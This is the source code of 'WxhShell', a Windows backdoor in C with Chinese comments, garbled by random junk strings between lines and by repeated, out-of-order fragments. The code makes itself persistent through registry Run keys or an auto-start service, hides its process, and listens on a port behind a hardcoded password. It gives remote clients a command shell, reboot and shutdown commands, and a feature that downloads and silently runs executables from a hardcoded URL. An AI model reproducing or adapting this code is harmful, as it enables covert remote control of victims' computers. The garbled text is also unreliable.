5:gpynE| 2&S^\kf static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~`e!$= static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ' u<I S/w }Jh.+k|_ HANDLE hProcess; 6,LE_ -G5 PROCESS_BASIC_INFORMATION pbi; XixjdBFP am/}V%^ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .a2R2~35 if(NULL == hInst ) return 0; .&b^6$dC Hz,Gn9:p g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GtmoFSZ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?84f\<" NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~H \P0G5GA ]vcT2lr] if (!NtQueryInformationProcess) return 0; /[Fk>Vhp ^3sv2wh^|8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?pJ2"/K
if(!hProcess) return 0; Ma?uB8o+~ Z*3RI5)dx if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W!ug^2" r:o9:w: CloseHandle(hProcess); E^n!h06~G @dK_w'W hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lW-G]V if(hProcess==NULL) return 0; TVvE0y(9 0aR.ct% HMODULE hMod; .6[8$8c char procName[255]; .sit5BX unsigned long cbNeeded; +~F>:v?Rh #"A`:bjG if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5);"()g32 .mrv"k\< CloseHandle(hProcess); 1H">Rb30@ P2ySjgd if(strstr(procName,"services")) return 1; // 以服务启动 vRaxB 4
w*m]D{ return 0; // 注册表启动 }L Q%% } B_Gcz5 fGj66rMGw // 主模块 Se[=$W int StartWxhshell(LPSTR lpCmdLine) [%LGiCU] { D`41\#ti SOCKET wsl; m-C#~Cp36 BOOL val=TRUE; !4^Lv{1QZ int port=0; Ye|gW=FUR struct sockaddr_in door; 0?FJ~pu G@D8[ if(wscfg.ws_autoins) Install(); 8}[<3K%*g &VU^d3gv~ port=atoi(lpCmdLine); ok ,O/|E}? }@$CS5w if(port<=0) port=wscfg.ws_port; a>#$&&oQ0 aTHf+; WSADATA data; W1o6Sh8v( if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3k6Dbz ZiKO|U@/ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; uHf1b?W setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .I{u[
" door.sin_family = AF_INET; K
..Pn17t door.sin_addr.s_addr = inet_addr("127.0.0.1"); e"EGqn&! door.sin_port = htons(port); 'Eia=@ DfkGNBY if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4Z{R36 { closesocket(wsl); ?zsRs?rc0 return 1; , =*^XlO=c } NmpNme WB (?6" if(listen(wsl,2) == INVALID_SOCKET) { "<^
Vp-7r closesocket(wsl); WM$Z?CN%KB return 1; 'YN:cr,V } fUq}dAs*K Wxhshell(wsl); RigS1A\2l WSACleanup(); 9nO&d(r g ^|U5@u_ return 0; c-7Zk!LfD `K$;K8! 1 } dEf5x_TGm ~nj+"d] // 以NT服务方式启动 ,{"K^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ):+^893) { k|]l2zlT DWORD status = 0; "j&p3 DWORD specificError = 0xfffffff; =RWY0| f DKlHXEt> serviceStatus.dwServiceType = SERVICE_WIN32; 01aw+o serviceStatus.dwCurrentState = SERVICE_START_PENDING; _wg~5'w8 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v7+|G'8M` serviceStatus.dwWin32ExitCode = 0; kiin7 8W serviceStatus.dwServiceSpecificExitCode = 0; S._h->5f serviceStatus.dwCheckPoint = 0; HF&dHD2f serviceStatus.dwWaitHint = 0; [;toumv (Ze\<Y#cv hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `"~ X1; if (hServiceStatusHandle==0) return; 7|J&fc5BP i7\>uni status = GetLastError(); Sxy3cv53 if (status!=NO_ERROR) y
</i1qM { CpgaQG^ serviceStatus.dwCurrentState = SERVICE_STOPPED; Ym]rG
4 serviceStatus.dwCheckPoint = 0; ! "08TCc< serviceStatus.dwWaitHint = 0; guy!/zQ>A serviceStatus.dwWin32ExitCode = status; @[/!e`]+ serviceStatus.dwServiceSpecificExitCode = specificError; Vhm^<I-d SetServiceStatus(hServiceStatusHandle, &serviceStatus); sdewz(xskj return; v<0S@9~ } +tlbO? RzB64 serviceStatus.dwCurrentState = SERVICE_RUNNING; *:l$ud serviceStatus.dwCheckPoint = 0; HW6Cz>WxOW serviceStatus.dwWaitHint = 0; 8,CL>*A if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZkMHy1 } hL;??h,!_ lvk*Db$ // 处理NT服务事件,比如:启动、停止 m1 p%, VOID WINAPI NTServiceHandler(DWORD fdwControl) <PO-S\N {
G0r(xP? switch(fdwControl) FQJFq6l { 2NL|_W/ case SERVICE_CONTROL_STOP: ;ov}%t>UD serviceStatus.dwWin32ExitCode = 0; pAEJ=Te serviceStatus.dwCurrentState = SERVICE_STOPPED; _B ]Bd@<w serviceStatus.dwCheckPoint = 0; 3
}rx( serviceStatus.dwWaitHint = 0; #)6
bfyi- { b\t@vMJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); .R^]<b:` } $- Z/UHT return; xA}{ZnTbN case SERVICE_CONTROL_PAUSE: i079 V serviceStatus.dwCurrentState = SERVICE_PAUSED;
q,'~=Y5 break; D t]FmU case SERVICE_CONTROL_CONTINUE: 8wS9%+ serviceStatus.dwCurrentState = SERVICE_RUNNING; f
K4M:_u break; WN#dR~> case SERVICE_CONTROL_INTERROGATE: Hp
fTuydU break; =0U"07%} }; |@ZyD$? SetServiceStatus(hServiceStatusHandle, &serviceStatus); jm|zn } dp1t] ~-(X\:z} // 标准应用程序主函数 ;Y &2G' int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C2%Yr y { _..5G7%#% l?beqw: // 获取操作系统版本 Cmj `WSSa OsIsNt=GetOsVer(); 'ka"0~:NS{ GetModuleFileName(NULL,ExeFile,MAX_PATH); 9l7 youZ] Q[Tbdc%1EG // 从命令行安装 Nk>6:Ho{G if(strpbrk(lpCmdLine,"iI")) Install(); ZOzyf/?. rmnnV[@o // 下载执行文件 5YiBw|Z7 " if(wscfg.ws_downexe) { &-Z#+>=H( if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :Z5kiEwYM WinExec(wscfg.ws_filenam,SW_HIDE); >LB x\/ } vf_pEkx*wD @]{:juD~ if(!OsIsNt) { tbi(e49S // 如果时win9x,隐藏进程并且设置为注册表启动 gem+$TFq HideProc(); n<sA?T StartWxhshell(lpCmdLine); h1?.x } -IS?8\Q< else n~&e>_;(. if(StartFromService()) ]jJ4\O` // 以服务方式启动 IRDD
StartServiceCtrlDispatcher(DispatchTable); .rbKvd?-} else =~QC)y_ // 普通方式启动 hB*3Py27L StartWxhshell(lpCmdLine); }Qvoms<k wsCT9&p return 0; ok9G 9|HA } %6<2~ *FoPs A}n5dg0u AwGDy + =========================================== j: B,K.: 2HvzMo-4 1 ^=[k 4=n%<U`Z/ 27jZ~Bp$ 0 :1ldU
4 " L`Q9-#Y `r8bBzr@% #include <stdio.h> 8 K>Ejr #include <string.h> ,}42]%$G #include <windows.h> jLf8 7 #include <winsock2.h> 15~+Ga4 #include <winsvc.h> r;aP`MVO< #include <urlmon.h> &@xeWB vui{[" #pragma comment (lib, "Ws2_32.lib") Sst`*PX: #pragma comment (lib, "urlmon.lib") l{x?i00tAS m4@w M? #define MAX_USER 100 // 最大客户端连接数 d
"vd_}P~ #define BUF_SOCK 200 // sock buffer ('pxX+ #define KEY_BUFF 255 // 输入 buffer pDx}~IB z'}?mE3i #define REBOOT 0 // 重启 -[`FNTTV C #define SHUTDOWN 1 // 关机 Aonq;} V e Th//u I+ #define DEF_PORT 5000 // 监听端口 }tZA7),L >pl*2M& #define REG_LEN 16 // 注册表键长度 oE4hGt5x{ #define SVC_LEN 80 // NT服务名长度 6hm6h7$F1 _A/ ]m4 // 从dll定义API k-vxKrjZ/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;R?9|:7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |tS~\_O/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r\66]u[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?|9$o/Q} *`V-zD // wxhshell配置信息 QWGFXy,=1 struct WSCFG { "ae55ft// int ws_port; // 监听端口 Uyyw'Ni char ws_passstr[REG_LEN]; // 口令 $pGk%8l% int ws_autoins; // 安装标记, 1=yes 0=no &hYjQ&n char ws_regname[REG_LEN]; // 注册表键名 #8d$%F)) char ws_svcname[REG_LEN]; // 服务名 Qmh*Gh?v char ws_svcdisp[SVC_LEN]; // 服务显示名 wbId}! char ws_svcdesc[SVC_LEN]; // 服务描述信息 WH$
Ls(' char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oYN# T=Xi
int ws_downexe; // 下载执行标记, 1=yes 0=no 62LQUl]< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0IM#T=V char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [}_ar 7e"(]NC84 }; CQ3{'"b w65
$ R // default Wxhshell configuration i=<(fq struct WSCFG wscfg={DEF_PORT, h(G(U_V-Od "xuhuanlingzhe", G:rM_q9\u 1, 6l $o^R^D "Wxhshell", '17u
Wq "Wxhshell", n1W}h@>8 "WxhShell Service", :r/rByd' "Wrsky Windows CmdShell Service", *lG$B@;rc| "Please Input Your Password: ", y!^RL,HIL 1, /(nA)V( : "http://www.wrsky.com/wxhshell.exe", 3^us;aOr "Wxhshell.exe" qO9_e }; <`9:hPp0 \rf1#Em // 消息定义模块 c(AjM9s char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EH$wWl^ char *msg_ws_prompt="\n\r? for help\n\r#>"; h OboM3_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qwaw\vOA char *msg_ws_ext="\n\rExit."; 4p~:(U[q char *msg_ws_end="\n\rQuit."; (<.1o_Q-LU char *msg_ws_boot="\n\rReboot..."; +T^m char *msg_ws_poff="\n\rShutdown..."; WiviH#hF char *msg_ws_down="\n\rSave to "; I>-jKSkwc tZXtt=M w char *msg_ws_err="\n\rErr!"; MOmp{@ char *msg_ws_ok="\n\rOK!"; a Ts_5q TniZ!ud char ExeFile[MAX_PATH]; Rb~Kyy$ int nUser = 0; I|O~F e. HANDLE handles[MAX_USER]; FM7N|]
m int OsIsNt; "=f*Lk@[ D_9/|:N: SERVICE_STATUS serviceStatus; +V8yv-/{ SERVICE_STATUS_HANDLE hServiceStatusHandle; 3P6!j "5jZS6A] // 函数声明 R4JO)<'K& int Install(void); l>&)_:\ int Uninstall(void); a4: PufS int DownloadFile(char *sURL, SOCKET wsh); *G~c6BZ int Boot(int flag); a<gzI void HideProc(void); n(f&uV_): int GetOsVer(void); a3lo;Cfp int Wxhshell(SOCKET wsl); :({lXGc}4? void TalkWithClient(void *cs); i]$7w! r& int CmdShell(SOCKET sock); 65J'uN int StartFromService(void); x{ZVq 4 int StartWxhshell(LPSTR lpCmdLine); u X0wg ?0;b}Xl-
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ohM'Fx"q VOID WINAPI NTServiceHandler( DWORD fdwControl ); c@q>5fR/c l2`8]Qr // 数据结构和表定义 T)Nis~ SERVICE_TABLE_ENTRY DispatchTable[] = >v<}$v6D~ { #t(?8!F {wscfg.ws_svcname, NTServiceMain}, a*IJ)'S {NULL, NULL} G(0bulq }; j ^!J:Bj _Wb-&6{ // 自我安装 v*BA\& int Install(void) S5Px9&N8( { %""CacX char svExeFile[MAX_PATH]; _1R`xbV HKEY key; Z *ZG5e strcpy(svExeFile,ExeFile); n`:l`n>N$ xZhD6'Zzz // 如果是win9x系统,修改注册表设为自启动 5^d%+*l;q if(!OsIsNt) { s_*eX N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &gEu%s^wR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }5] s+m RegCloseKey(key); .D>lv_kp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'FUPv61() RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Om1z
RegCloseKey(key); tt[_+e\4 return 0; %mYIXsuH } y=j[v},4 }
W>Rv } m9B3]H else { 2\5@_U^)h _fyw // 如果是NT以上系统,安装为系统服务 25~$qY_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sw@2
?+ if (schSCManager!=0) .N+xpxdG, { c,~44Z SC_HANDLE schService = CreateService J/=A f
[ ( ]Ns&`Yn{ schSCManager, <NAR'{f wscfg.ws_svcname, BA>0
+ wscfg.ws_svcdisp, Q)}\4&4 SERVICE_ALL_ACCESS, n[WeN NU SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D&^:hs@ SERVICE_AUTO_START, EqmJXDm SERVICE_ERROR_NORMAL, BxT~1SBFq svExeFile, UQdQtj1' NULL, Cg|uHI* NULL, 88*RlxU NULL, d!LV@</ NULL, <V8i>LBlz NULL &sNID4FR ); aw4+1.xy if (schService!=0) T8(wzs { ^+wzm2i CloseServiceHandle(schService); t/D
Q<B_ CloseServiceHandle(schSCManager); 1*jL2P]D strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :hr@>Y~r strcat(svExeFile,wscfg.ws_svcname); k2WO*xa* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~R8yj( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B*AMo5 RegCloseKey(key); V$_0VN'+Z return 0; @ixX?N)V } [;2:lbPx } DvKM>P%| CloseServiceHandle(schSCManager); bYgYP|@ } %N } "PHv~_:^R g|HrhUT; return 1; Zll^tF# } zn x_p/V 9M=K@a // 自我卸载 c\'pA^m6 int Uninstall(void) ri;M7rg`.{ { Zs{R O HKEY key; ykeUS
zz2 Y_B 4s- if(!OsIsNt) { iLgt_@g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {.OoOqq9 RegDeleteValue(key,wscfg.ws_regname); '9dtIW6E RegCloseKey(key); Om"3Q/& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mfr#IzNHN RegDeleteValue(key,wscfg.ws_regname); Ny'v/+nQ RegCloseKey(key); UmE{>5Pt return 0; \|t0~sRwh } y~=hM
} i+Dgw } @[RY8~ else { 614/wI8( 9"RfL7{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rQm if (schSCManager!=0) XOwMT,=Z) { "poTM[]tZ7 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =4
H K if (schService!=0) bx^EaXj(r { D5b_m|7% if(DeleteService(schService)!=0) { c]r|I%D CloseServiceHandle(schService); NKKOA CloseServiceHandle(schSCManager); ?t42=nvf return 0; NGs9Jke2 } oI~Qo*4eh CloseServiceHandle(schService); zs:7! } j1C.#-P[ CloseServiceHandle(schSCManager); P0(~~z&%[ } PZR%8 m}]u } @R&D["! |Z^g\l.j{ return 1; 7uxPkZbb } q$rA-`jw vUs7#* // 从指定url下载文件 z=_{jjs int DownloadFile(char *sURL, SOCKET wsh) PI \,`^)y { o#) !b:/ HRESULT hr; 2vN(z%p char seps[]= "/"; I{I
[N
&N char *token; J-<B*ot+lX char *file; $)]FCuv char myURL[MAX_PATH]; kw:D~E( char myFILE[MAX_PATH]; j/pQSlV WGluY>C; strcpy(myURL,sURL); ee^_Dh4 token=strtok(myURL,seps); :*'?Ac
? while(token!=NULL) JwtI(>cI { Q3q.*(# file=token; I=yj token=strtok(NULL,seps); %u0;.3Gw } *9ub.:EUwV f1$mh1J W GetCurrentDirectory(MAX_PATH,myFILE); }C"*ACjF strcat(myFILE, "\\"); gA1in strcat(myFILE, file); p-r%MnT send(wsh,myFILE,strlen(myFILE),0); ]q7 LoH'S send(wsh,"...",3,0); +%\j$Pv hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7U`S9DDwq if(hr==S_OK) 2\\3< return 0; >#U<# else z\8yB`8b^ return 1; MH;%Y"EI dG?a"/MA } Q]5^Eiq8 67\Ojl~(1 // 系统电源模块 *>p(]_s, int Boot(int flag) },aWCvJL { ~o'#AP#N~ HANDLE hToken; 9Pp|d"6]y TOKEN_PRIVILEGES tkp; M6*{#Y? tZCe?n] if(OsIsNt) { *F*jA$aY OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N$&ePU J LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ('6g)@=\U tkp.PrivilegeCount = 1; &qP-x98E? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tZ
j,A%<
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :U. )YHY if(flag==REBOOT) { %=4ak]As if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uBq3.+,x* return 0; u\6]^T6 } :+Q"MIU else { y*b.eO if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dX@A%6#? return 0; {Y:ZY+ } mhLRi\[c ) } Qb't*2c% else { r82o[+$u0K if(flag==REBOOT) { o$`kpr if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UnWGMo?JEi return 0; J1p75c% } 1 j^c else { -A%?T" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H'GYJ ?U" return 0; km\ld&d]$ } .83v~{n } -y*_.Ws9 `$sY^EX return 1; 1H4Zgh
U } %^5 @z1d, >`<2}Me6 // win9x进程隐藏模块 Fv);5LD void HideProc(void) ^_KD&%M6 { 1:x nD %FyygT b;S HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !ObE{2Enf if ( hKernel != NULL ) zYG,x*IH { I>%S4Z+o pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s9rtXBJP ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 90qj6.SQ FreeLibrary(hKernel); yLz,V} } )Bn>/- \;*}zX return; ^~6] 0$yJ } pP0Vg'V uB<F.!3 // 获取操作系统版本 M=AvD(+ha int GetOsVer(void) U7"BlT!V\ { H
:
T N OSVERSIONINFO winfo; .K@x4
/1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q#(/*AoU GetVersionEx(&winfo); (HaKF7Jsi if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ft/^4QcyAM return 1; Y
<Znv%M else mheU#&| return 0; 1n`1o-&l- } .^LL9{? q^N0abzgP // 客户端句柄模块 1U7,X6=~ int Wxhshell(SOCKET wsl) (eRKR2% q { WR
a+zii, SOCKET wsh; Itr7lv'5xx struct sockaddr_in client; e*P=2*]M DWORD myID; A} -&C Sc/`=h]T while(nUser<MAX_USER) :G`L3E&1s { ^b"bRQqm int nSize=sizeof(client); 1O9p YW5J wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #$t}T@t> if(wsh==INVALID_SOCKET) return 1; nQ642i%RQ !)%>AH' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d=?Mj] if(handles[nUser]==0) 3Rd`Ysp closesocket(wsh); Jh\:X<q else j6e}7 nUser++; 7rdw` } {x[;5TM WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X7H'Uk9: ;V~rWzKM( return 0; kG$E
tE# } '(*&Ax 7<3U? ]0 // 关闭 socket z+k=|RMau void CloseIt(SOCKET wsh) ,!I?)hwOC { 5c]}G.NV closesocket(wsh); oSn! "<x
nUser--; Qsg/V] ExitThread(0); 5 o#<`_=J } PEW4J{(W xJ~
gT // 客户端请求句柄 `S \zqF< void TalkWithClient(void *cs) .kc"E { I7fb}j`/ *#1y6^ SOCKET wsh=(SOCKET)cs; fVDDYo2\ char pwd[SVC_LEN]; %AG1oWWc>. char cmd[KEY_BUFF]; #v4LoNm char chr[1]; +}^|dkc int i,j; |DE%SVZB !/j,hO4Z4 while (nUser < MAX_USER) { w;
4jx(
i iX\it$s if(wscfg.ws_passstr) { KdT[*- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DH:GI1Yu>I //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GIm
" )}W //ZeroMemory(pwd,KEY_BUFF); i<T P: i=0; pWs\.::B while(i<SVC_LEN) { +Qh[sGDdY F$Im9T6 // 设置超时 bVoU|`c fd_set FdRead;
76-jMcGi struct timeval TimeOut; {~bIA!kAFI FD_ZERO(&FdRead); 4^DVW*OiI FD_SET(wsh,&FdRead); XXW]0{k:y TimeOut.tv_sec=8; wG1y,u' TimeOut.tv_usec=0; ;} l T int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G'f9N^w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <4bz/^ j8GY`f# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E6Q]A~ pwd=chr[0]; A8pj~I/*- if(chr[0]==0xd || chr[0]==0xa) { T[;;9z pwd=0; mC i[Ps break; .u1X+P7 } ]~-*hOcQ4 i++; x\hWyY6J[ } '>j<yaD' v6s\Z\v)Q` // 如果是非法用户,关闭 socket `)R?nVb if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AF^T~?t } RU2c*q$^X xvU]jl6d send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d0(Cn}m"c send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QsiJ%O Q Q}kfM^i while(1) { ~U6"? VeZey)Q ZeroMemory(cmd,KEY_BUFF); OAv>g pw `SV"ElRV // 自动支持客户端 telnet标准 cjuZBFl j=0; bGv*-;* while(j<KEY_BUFF) { L#D9@V'z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *q0`})IQ cmd[j]=chr[0]; o`bo#A if(chr[0]==0xa || chr[0]==0xd) { #HeM,;Xp cmd[j]=0; q-3]jHChh break; ddsUz1%l } 0$6*o}N% j++; LVnHt} } H@{Objh1 4j>fI)FUW // 下载文件 lT]=&m> if(strstr(cmd,"http://")) { >':5?\C+- send(wsh,msg_ws_down,strlen(msg_ws_down),0); XCDSmZ if(DownloadFile(cmd,wsh)) 9tn;L"#&N send(wsh,msg_ws_err,strlen(msg_ws_err),0); #G_F`& else 6*u,c^a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F|9+ +) } rH&G<o&, else { g\U/&.}DN wtXY:O switch(cmd[0]) { %Rp8{.t7 UVz/n68\k7 // 帮助 IdPn%)>6 case '?': { bd!U)b(}OV send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8pXKO"u], break; 1,,|MW } ak;6z]f8[ // 安装 n@!wp/J, case 'i': { %KtU1A([" if(Install()) !}y1CA send(wsh,msg_ws_err,strlen(msg_ws_err),0); hSB?@I4s<\ else $Pxb1E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B^fT>1P break; t9FDU } +2RNZEc // 卸载 )RN<GW' case 'r': { ;QBh;jg4 if(Uninstall()) j!\dn!Xwt send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?}}qu'N:N else $&hN*7Ts send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p3c"ZPO~z break; 8d!GZgC8R } Qzqc .T // 显示 wxhshell 所在路径 a+`D'?z case 'p': { PWH^=K char svExeFile[MAX_PATH]; =E(#YCx strcpy(svExeFile,"\n\r"); }aF strcat(svExeFile,ExeFile); jk*tL8?i send(wsh,svExeFile,strlen(svExeFile),0); w{!(r break; ExVDkt0 } tx"LeZZ // 重启 x)SralWb case 'b': { cWMUj K/N send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yto[8;)_ if(Boot(REBOOT)) [:h5} send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;HNq>/{ else { <8!
Tq closesocket(wsh); $7Z)Yp&T ExitThread(0); ,zhJY ?sk } 2N5`' break; v4rW2F:X } {E A1vo" // 关机 1@>$ Gcc case 'd': { 0K`[,$Y send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eQUe
>* if(Boot(SHUTDOWN)) +5!&E7bcd send(wsh,msg_ws_err,strlen(msg_ws_err),0); {u"8[@@./ else { :@eHX& closesocket(wsh); H4:&%"j7 ExitThread(0); s$w;q\1z } LlHa5]E@6 break; aJhxc<"e } 7I9aG.; // 获取shell ^{F_a case 's': { aI3CNeav CmdShell(wsh); _{4^|{>Pv closesocket(wsh); e(?]SU| ExitThread(0); =2Cj,[$ break; :>+\17tx } 29&bbfU // 退出 SmhGZ case 'x': { I9?Ec6a_ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \]uV!)V5B CloseIt(wsh); pTJX""C break; MHU74//fe } ;"kaF! // 离开
<lE?, jl case 'q': { XJ1=m send(wsh,msg_ws_end,strlen(msg_ws_end),0); LzML%J62 closesocket(wsh); |kJ%`j(7R WSACleanup(); dY(;]sxFr exit(1); Qkcjr]#^$ break; ) ;FS7R
} ]p7jhd= } r)^vO+3u } j8Cho5C 15U (={ // 提示信息 ,ho3 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c!#:E` } 5T@aCC@$h } ?QZ"JX]) E&`Nh5 JfC return; 1oiRW Re } JH8}Ru%Z `=UWqb(K_ // shell模块句柄 @-HG`c ct int CmdShell(SOCKET sock) pav'1d% { mN|r)4{` STARTUPINFO si; x/!5K|c ZeroMemory(&si,sizeof(si)); -VxDNT}Tr si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zFz10pH si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oGa^/:6L PROCESS_INFORMATION ProcessInfo; Hc^W%t~ char cmdline[]="cmd"; qIIJ4n CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q GZyL)Q return 0; \C,p
WW } 3"N)xO- \xv;sl$f // 自身启动模式 Fqy\CMC int StartFromService(void) t.p~\6Yi { 5Xn.CBd] typedef struct lVOu)q@l7g { x'<K\qp{{ DWORD ExitStatus; p]T<HGJ P DWORD PebBaseAddress; +N`ua DWORD AffinityMask; 9h&R]yz; DWORD BasePriority; aJ Z"D8C ULONG UniqueProcessId; Gg Jf7ie4 ULONG InheritedFromUniqueProcessId; bKg8rK u } PROCESS_BASIC_INFORMATION; 2i;7{7 :cB=SYcC% PROCNTQSIP NtQueryInformationProcess; oVFnlA ;oZ)Wt static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R;,g1m|] static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &>d:R_Q] ^=>Tk$ _2 HANDLE hProcess; Hso|e?Z PROCESS_BASIC_INFORMATION pbi; %`Z+a.~ U S*o[ZA
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,XDRO./+T if(NULL == hInst ) return 0; Gmwf4>" Gx`L ks g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); / 0 O=( g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '3zc|eJt& NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (hiyNMC <sK4#!K if (!NtQueryInformationProcess) return 0; >leU:7 4=<tWa|@9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1`ayc|9BR if(!hProcess) return 0; q$I:`& hn#1%p6t if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !;?+>R)h %_ !bRo 